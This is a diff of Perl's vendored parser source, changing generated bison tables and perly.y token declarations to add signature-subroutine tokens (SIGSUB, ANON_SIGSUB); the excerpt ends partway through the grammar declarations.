+      -1,   101,   102,    -1,   104,   105,    11,    -1,    13,    14,
       15,    16,    17,    -1,    -1,    20,    21,    22,    23,    24,
       -1,    26,    27,    28,    29,    30,    31,    -1,    -1,    -1,
-      -1,    36,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    50,    -1,    52,    53,    54,
-      55,    56,    57,    -1,    -1,    -1,    -1,    62,    63,    64,
-      65,    66,    67,    68,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    76,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    88,    89,    -1,    91,    -1,    93,    94,
-      -1,    -1,    -1,    -1,    99,   100,    -1,   102,   103,    11,
-      -1,    13,    14,    15,    16,    17,    -1,    -1,    20,    21,
-      22,    23,    24,    -1,    26,    27,    28,    29,    30,    31,
-      -1,    -1,    -1,    -1,    36,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    50,    -1,
-      52,    53,    54,    55,    56,    57,    -1,    -1,    -1,    -1,
-      62,    63,    64,    65,    66,    67,    68,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    76,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    88,    89,    -1,    91,
-      -1,    93,    94,    -1,    -1,    -1,    -1,    99,   100,    -1,
-     102,   103,    11,    -1,    13,    14,    15,    16,    17,    -1,
-      -1,    20,    21,    22,    23,    24,    -1,    26,    27,    28,
-      29,    30,    31,    -1,    -1,    -1,    -1,    36,    -1,    -1,
+      -1,    -1,    37,    38,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    52,    -1,    -1,
+      55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,    64,
+      65,    66,    67,    68,    69,    70,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    78,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    90,    91,    -1,    93,    -1,
+      95,    96,    -1,    -1,    -1,    -1,   101,   102,    -1,   104,
+     105,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
+      20,    21,    22,    23,    24,    -1,    26,    27,    28,    29,
+      30,    31,    -1,    -1,    -1,    -1,    -1,    37,    38,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    50,    -1,    52,    53,    54,    55,    56,    57,    -1,
-      -1,    -1,    -1,    62,    63,    64,    65,    66,    67,    68,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    76,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    88,
-      89,    -1,    91,    -1,    93,    94,    -1,    -1,    -1,    -1,
-      99,   100,    -1,   102,   103,    11,    -1,    13,    14,    15,
-      16,    17,    -1,    -1,    20,    21,    22,    23,    24,    -1,
-      26,    27,    28,    29,    30,    31,    -1,    -1,    -1,    -1,
-      36,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    50,    -1,    52,    53,    54,    55,
-      56,    57,    -1,    -1,    -1,    -1,    62,    63,    64,    65,
-      66,    67,    68,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      76,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    88,    89,    -1,    91,    -1,    93,    94,    -1,
-      -1,    -1,    -1,    99,   100,    -1,   102,   103,    11,    -1,
-      13,    14,    15,    16,    17,    -1,    -1,    20,    21,    22,
-      23,    24,    -1,    26,    27,    28,    29,    30,    31,    -1,
-      -1,    -1,    -1,    36,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    50,    -1,    52,
-      53,    54,    55,    56,    57,    -1,    -1,    -1,    -1,    62,
-      63,    64,    65,    66,    67,    68,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    76,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    88,    89,    -1,    91,    -1,
-      93,    94,    -1,    -1,    -1,    -1,    99,   100,    -1,   102,
-     103,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
+      -1,    -1,    52,    -1,    -1,    55,    56,    57,    58,    59,
+      -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,    69,
+      70,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    78,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
+      90,    91,    -1,    93,    -1,    95,    96,    -1,    -1,    -1,
+      -1,   101,   102,    -1,   104,   105,    11,    -1,    13,    14,
+      15,    16,    17,    -1,    -1,    20,    21,    22,    23,    24,
+      -1,    26,    27,    28,    29,    30,    31,    -1,    -1,    -1,
+      -1,    -1,    37,    38,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    52,    -1,    -1,
+      55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,    64,
+      65,    66,    67,    68,    69,    70,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    78,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    90,    91,    -1,    93,    -1,
+      95,    96,    -1,    -1,    -1,    -1,   101,   102,    -1,   104,
+     105,    11,    -1,    13,    14,    15,    16,    17,    -1,    -1,
       20,    21,    22,    23,    24,    -1,    26,    27,    28,    29,
-      30,    31,    -1,    -1,    -1,    -1,    36,    -1,    -1,    -1,
+      30,    31,    -1,    -1,    -1,    -1,    -1,    37,    38,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      50,    -1,    52,    53,    54,    55,    56,    57,    -1,    -1,
-      -1,    -1,    62,    63,    64,    65,    66,    67,    68,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    76,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    88,    89,
-      -1,    91,    -1,    93,    94,    -1,    -1,    -1,    -1,    99,
-     100,    -1,   102,   103,    11,    -1,    13,    14,    15,    16,
-      17,    -1,    -1,    20,    21,    22,    23,    24,    -1,    26,
-      27,    28,    29,    30,    31,    -1,    -1,    -1,    -1,    36,
+      -1,    -1,    52,    -1,    -1,    55,    56,    57,    58,    59,
+      -1,    -1,    -1,    -1,    64,    65,    66,    67,    68,    69,
+      70,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    78,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    50,    -1,    52,    53,    54,    55,    56,
-      57,    -1,    -1,    -1,    -1,    62,    63,    64,    65,    66,
-      67,    68,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    76,
+      90,    91,    -1,    93,    -1,    95,    96,    -1,    -1,    -1,
+      -1,    -1,   102,    -1,   104,   105,    11,    -1,    13,    14,
+      15,    16,    17,    -1,    -1,    20,    21,    22,    23,    24,
+      -1,    26,    27,    28,    29,    30,    31,    -1,    -1,    -1,
+      -1,    -1,    37,    38,    -1,    -1,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    -1,    -1,    -1,    -1,    52,    -1,    -1,
+      55,    56,    57,    58,    59,    -1,    -1,    -1,    -1,    64,
+      65,    66,    67,    68,    69,    70,    -1,    -1,    -1,    -1,
+      -1,    -1,    -1,    78,    53,    -1,    -1,    -1,    -1,    -1,
+      -1,    60,    61,    62,    63,    90,    91,    -1,    93,    -1,
+      95,    96,    -1,    -1,    -1,    -1,    -1,   102,    -1,   104,
+     105,    80,    81,    82,    83,    84,    85,    86,    87,    88,
+      89,    -1,    -1,    -1,    -1,    94,    53,    -1,    97,    98,
+      99,   100,    -1,    60,    61,    62,    63,    -1,    -1,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    88,    89,    -1,    91,    -1,    93,    94,    -1,    -1,
-      -1,    -1,    99,   100,    -1,   102,   103,    11,    -1,    13,
-      14,    15,    16,    17,    -1,    -1,    20,    21,    22,    23,
-      24,    -1,    26,    27,    28,    29,    30,    31,    -1,    -1,
-      -1,    -1,    36,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    50,    -1,    52,    53,
-      54,    55,    56,    57,    -1,    -1,    -1,    -1,    62,    63,
-      64,    65,    66,    67,    68,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    76,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    88,    89,    -1,    91,    -1,    93,
-      94,    -1,    -1,    -1,    -1,    -1,   100,    -1,   102,   103,
-      11,    -1,    13,    14,    15,    16,    17,    -1,    -1,    20,
-      21,    22,    23,    24,    -1,    26,    27,    28,    29,    30,
-      31,    -1,    -1,    -1,    -1,    36,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    50,
-      -1,    52,    53,    54,    55,    56,    57,    -1,    -1,    -1,
-      -1,    62,    63,    64,    65,    66,    67,    68,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    76,    51,    -1,    -1,    -1,
-      -1,    -1,    -1,    58,    59,    60,    61,    88,    89,    -1,
-      91,    -1,    93,    94,    -1,    -1,    -1,    -1,    -1,   100,
-      -1,   102,   103,    78,    79,    -1,    81,    82,    83,    84,
-      85,    86,    87,    -1,    -1,    -1,    -1,    92,    51,    -1,
-      95,    96,    97,    98,    -1,    58,    59,    60,    61,    -1,
+      -1,    -1,    -1,    80,    81,    -1,    83,    84,    85,    86,
+      87,    88,    89,    -1,    -1,    -1,    -1,    94,    53,    -1,
+      97,    98,    99,   100,    -1,    60,    61,    62,    63,    -1,
       -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,    -1,
-      -1,    -1,    -1,    -1,    -1,    -1,    79,    -1,    81,    82,
-      83,    84,    85,    86,    87,    -1,    -1,    -1,    -1,    92,
-      -1,    -1,    95,    96,    97,    98
+      -1,    -1,    -1,    -1,    -1,    -1,    81,    -1,    83,    84,
+      85,    86,    87,    88,    89,    -1,    -1,    -1,    -1,    94,
+      -1,    -1,    97,    98,    99,   100
 };
 
   /* YYSTOS[STATE-NUM] -- The (internal number of the) accessing
@@ -948,93 +967,94 @@
      symbol of state STATE-NUM.  */
 static const yytype_uint8 yystos[] =
 {
-       0,     3,     4,     5,     6,     7,     8,   106,   107,   108,
-     109,   110,   111,   112,     0,   115,    11,    13,    14,    15,
+       0,     3,     4,     5,     6,     7,     8,   108,   109,   110,
+     111,   112,   113,   114,     0,   117,    11,    13,    14,    15,
       16,    17,    20,    21,    22,    23,    24,    26,    27,    28,
-      29,    30,    31,    36,    50,    52,    53,    54,    55,    56,
-      57,    62,    63,    64,    65,    66,    67,    68,    76,    88,
-      89,    91,    93,    94,   100,   102,   103,   160,   161,   162,
-     165,   166,   167,   168,   169,   170,   172,   175,   181,   182,
-     183,   184,   185,   186,   187,   188,   189,     9,   113,     1,
-      32,    34,    35,    37,    38,    39,    40,    41,    42,    46,
-      47,    48,    49,   101,   113,   122,   132,   160,    33,   120,
-     121,   122,   118,   118,    12,   160,   170,   170,    20,    25,
-     113,   182,   190,   190,   190,   190,   190,   171,    11,   100,
-     170,   143,   143,   170,   100,   100,   100,   113,   170,    20,
-     161,   174,   182,   190,   190,   113,   170,   101,   160,    20,
-      25,   145,   170,    91,   100,   173,   182,   183,   184,   170,
-     161,   170,   170,   170,   170,   170,    99,   160,   190,   190,
-      73,    74,    75,    77,     9,    11,   100,    51,    58,    59,
-      60,    61,    78,    79,    81,    82,    83,    84,    85,    86,
-      87,    92,    95,    96,    97,    98,   100,     9,    11,     9,
-      11,     9,    11,     9,   115,   144,   145,    20,   142,   100,
-     100,   100,   100,    67,    91,   100,   180,   182,   100,   100,
-     113,    45,   134,   101,    39,    40,    41,    42,    46,    48,
-     121,   122,   120,    12,   174,   100,   100,   160,    99,   113,
-      23,   115,   146,    99,    99,   160,   175,   190,   161,    10,
-     101,   174,   100,   170,   173,   182,   183,   184,    99,   160,
-      69,   148,    11,    99,   160,   160,   160,   170,   160,   160,
-      99,   160,   170,   170,   170,   170,   170,   170,   170,   170,
-     170,   170,   170,   170,   170,   170,   170,     9,    11,    15,
-      16,    17,    21,    62,   100,   102,   103,   164,   182,    99,
-     160,   160,   160,   160,   160,   160,   160,   160,   118,    20,
-     141,   142,    20,   125,   115,   115,   115,   115,    91,   115,
-      67,   178,   179,   181,   182,   183,   184,   115,   115,   100,
-     115,   115,   113,   160,   138,   160,   160,   160,   160,   160,
-     175,   161,    12,   163,   100,   157,    69,   147,    99,    99,
-     160,    10,    99,   160,   148,    99,    23,   160,    11,   101,
-      12,    99,    80,   160,   160,   103,   103,   103,   103,    99,
-     160,   103,   103,   100,    99,   101,    12,   101,    12,   101,
-      12,   101,    10,    18,   114,   123,   124,     9,   101,    20,
-     137,   160,   138,   139,   160,   139,   177,   182,   100,   132,
-     136,   139,   140,   160,   178,   115,   139,   139,    99,   104,
-     176,   174,   158,   147,    23,   113,    99,    99,    12,   160,
-      10,   170,   101,    12,    99,   175,    10,    10,    10,    10,
-     115,   146,   115,   115,    20,    99,    99,    99,    99,   100,
-     115,    99,   101,   128,   139,    99,    99,   160,    99,    15,
-      16,   102,   150,   151,   153,   154,   155,   156,     9,    12,
-      10,    99,   101,   147,   157,   129,   174,   135,   135,     9,
-     116,   116,   139,   139,   116,   126,   100,    99,   116,   116,
-      25,   149,   149,    77,    99,   118,    71,   101,   113,   159,
-     147,   118,   101,   116,   116,   117,    43,    44,   133,   133,
-      99,    99,   134,   137,   139,   116,    78,   152,   152,   154,
-      10,   119,     9,    10,   134,   134,   118,   116,   100,   116,
-     116,   101,    99,   134,   170,    23,   101,   130,   118,    10,
-     139,   134,   134,   127,   116,    70,   131,    19,    10,    99,
-     135,   134,   118,   116,   140,    71,   133,    99,   116
+      29,    30,    31,    37,    38,    52,    55,    56,    57,    58,
+      59,    64,    65,    66,    67,    68,    69,    70,    78,    90,
+      91,    93,    95,    96,   102,   104,   105,   166,   167,   168,
+     171,   172,   173,   174,   175,   176,   178,   181,   187,   188,
+     189,   190,   191,   192,   193,   194,   195,     9,   115,     1,
+      32,    34,    35,    36,    39,    40,    41,    42,    43,    44,
+      48,    49,    50,    51,    54,   103,   115,   124,   134,   166,
+      33,   122,   123,   124,   120,   120,    12,   166,   176,   176,
+      20,    25,   115,   188,   196,   196,   196,   196,   196,   177,
+      11,   102,   176,   145,   145,   145,   176,   102,   102,   102,
+     115,   176,    20,   167,   180,   188,   196,   196,   115,   176,
+     103,   166,    20,    25,   147,   176,    93,   102,   179,   188,
+     189,   190,   176,   167,   176,   176,   176,   176,   176,   101,
+     166,   196,   196,    75,    76,    77,    79,     9,    11,   102,
+      53,    60,    61,    62,    63,    80,    81,    83,    84,    85,
+      86,    87,    88,    89,    94,    97,    98,    99,   100,   102,
+       9,    11,     9,    11,     9,    11,     9,   117,   146,   147,
+     147,    20,   144,   102,   102,   102,   102,    69,    93,   102,
+     186,   188,   102,   102,   115,   103,    47,   136,   103,    41,
+      42,    43,    44,    48,    50,   123,   124,   122,    12,   180,
+     102,   102,   166,   101,   115,    23,   148,    71,   149,   101,
+     101,   166,   181,   196,   167,    10,   103,   180,   102,   176,
+     179,   188,   189,   190,   101,   166,    71,   150,    11,   101,
+     166,   166,   166,   176,   166,   166,   101,   166,   176,   176,
+     176,   176,   176,   176,   176,   176,   176,   176,   176,   176,
+     176,   176,   176,     9,    11,    15,    16,    17,    21,    64,
+     102,   104,   105,   170,   188,   101,   166,   166,   166,   166,
+     166,   166,   166,   166,   120,    20,   143,   144,   144,    20,
+     127,   117,   117,   117,   117,    93,   117,    69,   184,   185,
+     187,   188,   189,   190,   117,   117,   102,   117,   117,   115,
+     166,   140,   166,   166,   166,   166,   166,   181,   167,    12,
+     169,   149,    23,   117,   165,   101,   101,   166,    10,   101,
+     166,   150,   101,    23,   166,    11,   103,    12,   101,    82,
+     166,   166,   105,   105,   105,   105,   101,   166,   105,   105,
+     102,   101,   103,    12,   103,    12,   103,    12,   103,    10,
+      18,   116,   125,   126,     9,   103,    20,   139,   166,   140,
+     141,   166,   141,   183,   188,   102,   134,   138,   141,   142,
+     166,   184,   117,   141,   141,   101,   106,   182,   180,   117,
+     163,   102,   159,   160,   101,   101,    12,   166,    10,   176,
+     103,    12,   101,   181,    10,    10,    10,    10,   117,   148,
+     149,   117,    20,   101,   101,   101,   101,   102,   117,   101,
+     103,   130,   141,   101,   101,   166,   101,     9,   161,     9,
+      12,    10,   101,   103,   149,   103,   164,   165,   131,   180,
+     137,   137,     9,   118,   118,   141,   141,   118,   128,   102,
+     101,   118,   118,   120,    15,    16,   104,   152,   153,   155,
+     156,   157,   158,   120,    73,   103,   162,   163,   120,   103,
+     118,   118,   119,    45,    46,   135,   135,   101,   101,   136,
+     139,   141,   118,    10,    25,   151,   151,    79,   101,    10,
+     121,    10,   136,   136,   120,   118,   102,   118,   118,   103,
+     101,   136,    80,   154,   154,   156,    23,   103,   132,    10,
+     141,   136,   136,   129,   118,   176,    72,   133,    19,   101,
+     137,   136,   120,   118,   142,    73,   135,   101,   118
 };
 
   /* YYR1[YYN] -- Symbol number of symbol that rule YYN derives.  */
 static const yytype_uint8 yyr1[] =
 {
-       0,   105,   107,   106,   108,   106,   109,   106,   110,   106,
-     111,   106,   112,   106,   113,   114,   115,   116,   117,   118,
-     118,   119,   119,   120,   120,   121,   121,   122,   122,   123,
-     122,   124,   122,   122,   125,   122,   122,   122,   122,   122,
-     122,   122,   122,   126,   127,   122,   122,   122,   128,   122,
-     122,   122,   122,   129,   122,   122,   122,   130,   131,   131,
-     132,   132,   132,   132,   132,   132,   132,   132,   133,   133,
-     133,   134,   134,   135,   136,   136,   137,   137,   138,   139,
-     140,   141,   141,   142,   143,   144,   145,   145,   146,   146,
-     147,   147,   147,   148,   148,   149,   149,   150,   150,   151,
-     152,   152,   152,   153,   154,   154,   155,   155,   155,   156,
-     156,   158,   157,   159,   159,   160,   160,   160,   160,   161,
-     161,   161,   162,   162,   162,   162,   162,   162,   162,   162,
-     163,   162,   164,   164,   165,   165,   165,   165,   165,   165,
-     165,   165,   165,   165,   165,   165,   165,   165,   166,   166,
-     166,   166,   166,   166,   166,   166,   166,   166,   166,   166,
-     166,   166,   167,   167,   167,   167,   167,   167,   167,   167,
-     167,   168,   168,   168,   168,   168,   168,   169,   169,   170,
-     170,   170,   170,   170,   170,   170,   170,   170,   170,   170,
-     170,   170,   170,   170,   170,   170,   170,   170,   170,   170,
-     170,   170,   170,   170,   170,   170,   170,   170,   170,   170,
-     170,   170,   170,   170,   170,   170,   170,   170,   170,   170,
-     170,   170,   170,   170,   170,   170,   170,   170,   171,   170,
-     170,   170,   170,   170,   172,   172,   172,   173,   173,   173,
-     173,   173,   174,   174,   175,   175,   176,   176,   177,   178,
-     178,   178,   179,   179,   180,   180,   181,   182,   183,   184,
-     185,   185,   186,   187,   187,   188,   188,   189,   189,   190,
-     190,   190,   190
+       0,   107,   109,   108,   110,   108,   111,   108,   112,   108,
+     113,   108,   114,   108,   115,   116,   117,   118,   119,   120,
+     120,   121,   121,   122,   122,   123,   123,   124,   124,   125,
+     124,   126,   124,   124,   127,   124,   124,   124,   124,   124,
+     124,   124,   124,   128,   129,   124,   124,   124,   130,   124,
+     124,   124,   124,   131,   124,   124,   124,   124,   132,   133,
+     133,   134,   134,   134,   134,   134,   134,   134,   134,   135,
+     135,   135,   136,   136,   137,   138,   138,   139,   139,   140,
+     141,   142,   143,   143,   144,   145,   146,   147,   147,   148,
+     148,   149,   149,   149,   150,   150,   151,   151,   152,   152,
+     153,   154,   154,   154,   155,   156,   156,   157,   157,   157,
+     158,   158,   159,   159,   161,   160,   162,   162,   163,   164,
+     164,   165,   166,   166,   166,   166,   167,   167,   167,   168,
+     168,   168,   168,   168,   168,   168,   168,   169,   168,   170,
+     170,   171,   171,   171,   171,   171,   171,   171,   171,   171,
+     171,   171,   171,   171,   171,   172,   172,   172,   172,   172,
+     172,   172,   172,   172,   172,   172,   172,   172,   172,   173,
+     173,   173,   173,   173,   173,   173,   173,   173,   174,   174,
+     174,   174,   174,   174,   175,   175,   176,   176,   176,   176,
+     176,   176,   176,   176,   176,   176,   176,   176,   176,   176,
+     176,   176,   176,   176,   176,   176,   176,   176,   176,   176,
+     176,   176,   176,   176,   176,   176,   176,   176,   176,   176,
+     176,   176,   176,   176,   176,   176,   176,   176,   176,   176,
+     176,   176,   176,   176,   176,   177,   176,   176,   176,   176,
+     178,   178,   178,   179,   179,   179,   179,   179,   180,   180,
+     181,   181,   182,   182,   183,   184,   184,   184,   185,   185,
+     186,   186,   187,   188,   189,   190,   191,   191,   192,   193,
+     193,   194,   194,   195,   195,   196,   196,   196,   196
 };
 
   /* YYR2[YYN] -- Number of symbols on the right hand side of rule YYN.  */
@@ -1043,31 +1063,31 @@
        0,     2,     0,     4,     0,     3,     0,     3,     0,     3,
        0,     3,     0,     3,     4,     7,     0,     4,     0,     0,
        2,     0,     2,     1,     1,     2,     2,     1,     4,     0,
-       7,     0,    10,     4,     0,     7,     7,     7,     6,     6,
+       7,     0,     6,     4,     0,     7,     7,     7,     6,     6,
        2,     8,     8,     0,     0,    13,     9,     8,     0,    10,
-       9,     7,     2,     0,     8,     2,     1,     2,     0,     3,
-       1,     1,     3,     3,     3,     3,     3,     3,     0,     2,
-       6,     0,     2,     0,     0,     1,     0,     1,     1,     1,
-       1,     1,     0,     0,     0,     0,     1,     1,     0,     1,
-       0,     2,     1,     2,     1,     0,     1,     1,     1,     3,
-       0,     1,     2,     3,     1,     1,     2,     3,     1,     0,
-       1,     0,     4,     1,     1,     3,     3,     3,     1,     2,
-       3,     1,     3,     5,     6,     3,     3,     5,     2,     4,
-       0,     5,     1,     1,     5,     4,     5,     4,     5,     6,
-       5,     4,     5,     4,     3,     6,     4,     5,     3,     3,
-       3,     3,     3,     3,     3,     3,     3,     3,     3,     3,
-       3,     3,     2,     2,     2,     2,     2,     2,     2,     2,
-       2,     3,     2,     4,     3,     5,     8,     2,     2,     1,
-       1,     1,     1,     5,     2,     3,     1,     2,     3,     1,
-       2,     1,     1,     1,     1,     1,     1,     4,     4,     5,
-       5,     1,     1,     3,     4,     3,     4,     4,     4,     4,
-       4,     1,     2,     2,     1,     2,     2,     1,     2,     1,
-       2,     1,     3,     1,     3,     1,     3,     4,     0,     6,
-       1,     1,     1,     1,     3,     2,     4,     3,     2,     1,
-       1,     1,     0,     1,     0,     1,     0,     2,     1,     1,
-       1,     1,     1,     1,     2,     2,     2,     2,     2,     2,
-       2,     4,     2,     1,     3,     1,     3,     1,     3,     1,
-       1,     1,     1
+       9,     7,     2,     0,     8,     2,     2,     1,     2,     0,
+       3,     1,     1,     3,     3,     3,     3,     3,     3,     0,
+       2,     6,     0,     2,     0,     0,     1,     0,     1,     1,
+       1,     1,     1,     0,     0,     0,     0,     1,     1,     0,
+       1,     0,     2,     1,     2,     1,     0,     1,     1,     1,
+       3,     0,     1,     2,     3,     1,     1,     2,     3,     1,
+       0,     1,     0,     1,     0,     4,     1,     1,     4,     1,
+       1,     5,     3,     3,     3,     1,     2,     3,     1,     3,
+       5,     6,     3,     3,     5,     2,     4,     0,     5,     1,
+       1,     5,     4,     5,     4,     5,     6,     5,     4,     5,
+       4,     3,     6,     4,     5,     3,     3,     3,     3,     3,
+       3,     3,     3,     3,     3,     3,     3,     3,     3,     2,
+       2,     2,     2,     2,     2,     2,     2,     2,     3,     2,
+       4,     3,     5,     4,     2,     2,     1,     1,     1,     1,
+       5,     2,     3,     1,     2,     3,     1,     2,     1,     1,
+       1,     1,     1,     1,     4,     4,     5,     5,     1,     1,
+       3,     4,     3,     4,     4,     4,     4,     4,     1,     2,
+       2,     1,     2,     2,     1,     2,     1,     2,     1,     3,
+       1,     3,     1,     3,     4,     0,     6,     1,     1,     1,
+       3,     2,     4,     3,     2,     1,     1,     1,     0,     1,
+       0,     1,     0,     2,     1,     1,     1,     1,     1,     1,
+       2,     2,     2,     2,     2,     2,     2,     4,     2,     1,
+       3,     1,     3,     1,     3,     1,     1,     1,     1
 };
 
 typedef enum {
@@ -1082,25 +1102,26 @@
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_opval,
   toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval,
   toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval,
-  toketype_pval, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
+  toketype_pval, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
+  toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
-  toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
   toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
-  toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_opval, toketype_opval,
-  toketype_ival, toketype_opval, toketype_ival, toketype_opval, toketype_opval, toketype_opval,
-  toketype_opval, toketype_opval, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
-  toketype_ival, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_ival,
-  toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_ival,
-  toketype_ival, toketype_ival, toketype_opval, toketype_opval, toketype_opval,
-  toketype_opval, toketype_opval, toketype_ival, toketype_opval,
+  toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_ival, toketype_opval,
+  toketype_opval, toketype_ival, toketype_opval, toketype_ival, toketype_opval, toketype_opval,
+  toketype_opval, toketype_opval, toketype_opval, toketype_ival, toketype_ival, toketype_ival, toketype_ival,
+  toketype_ival, toketype_ival, toketype_ival, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval,
+  toketype_ival, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval,
+  toketype_ival, toketype_ival, toketype_ival, toketype_opval, toketype_opval,
+  toketype_opval, toketype_opval, toketype_opval, toketype_ival,
   toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval,
-  toketype_opval, toketype_ival, toketype_opval, toketype_opval, toketype_opval, toketype_opval,
+  toketype_opval, toketype_opval, toketype_opval, toketype_ival, toketype_opval,
+  toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval,
   toketype_ival, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval,
   toketype_opval, toketype_opval, toketype_ival, toketype_opval, toketype_opval, toketype_opval,
   toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_opval, toketype_ival,
@@ -1109,6 +1130,6 @@
 };
 
 /* Generated from:
- * a8b5527eacb1205d15c8c01acb4a8f99b494e5b453ddd68a2a2e7fca4be3302a perly.y
- * 153cba5d215c1a083a0459c43f4d55c45fd0a7093c197d7247a456dcde21ea53 regen_perly.pl
+ * ac323bb6f3cacf4eb8eda6403a58c41f30954d07a4a6d6f7f00de81577b2c79a perly.y
+ * b6fae5748f9bef6db4740aa5e122b84ac5181852d42474d0ecad621fa4253306 regen_perly.pl
  * ex: set ro: */

Modified: vendor/perl/dist/perly.y
===================================================================
--- vendor/perl/dist/perly.y	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/perly.y	2018-12-22 22:55:19 UTC (rev 12126)
@@ -51,7 +51,7 @@
 %token <opval> FUNC0OP FUNC0SUB UNIOPSUB LSTOPSUB
 %token <opval> PLUGEXPR PLUGSTMT
 %token <pval> LABEL
-%token <ival> FORMAT SUB ANONSUB PACKAGE USE
+%token <ival> FORMAT SUB SIGSUB ANONSUB ANON_SIGSUB PACKAGE USE
 %token <ival> WHILE UNTIL IF UNLESS ELSE ELSIF CONTINUE FOR
 %token <ival> GIVEN WHEN DEFAULT
 %token <ival> LOOPEX DOTDOT YADAYADA
@@ -71,13 +71,14 @@
 %type <opval> sliceme kvslice gelem
 %type <opval> listexpr nexpr texpr iexpr mexpr mnexpr
 %type <opval> optlistexpr optexpr optrepl indirob listop method
-%type <opval> formname subname proto optsubbody cont my_scalar my_var
+%type <opval> formname subname proto cont my_scalar my_var
 %type <opval> refgen_topic formblock
 %type <opval> subattrlist myattrlist myattrterm myterm
 %type <opval> termbinop termunop anonymous termdo
 %type <ival>  sigslurpsigil
 %type <opval> sigvarname sigdefault sigscalarelem sigslurpelem
-%type <opval> sigelem siglist siglistornull subsignature 
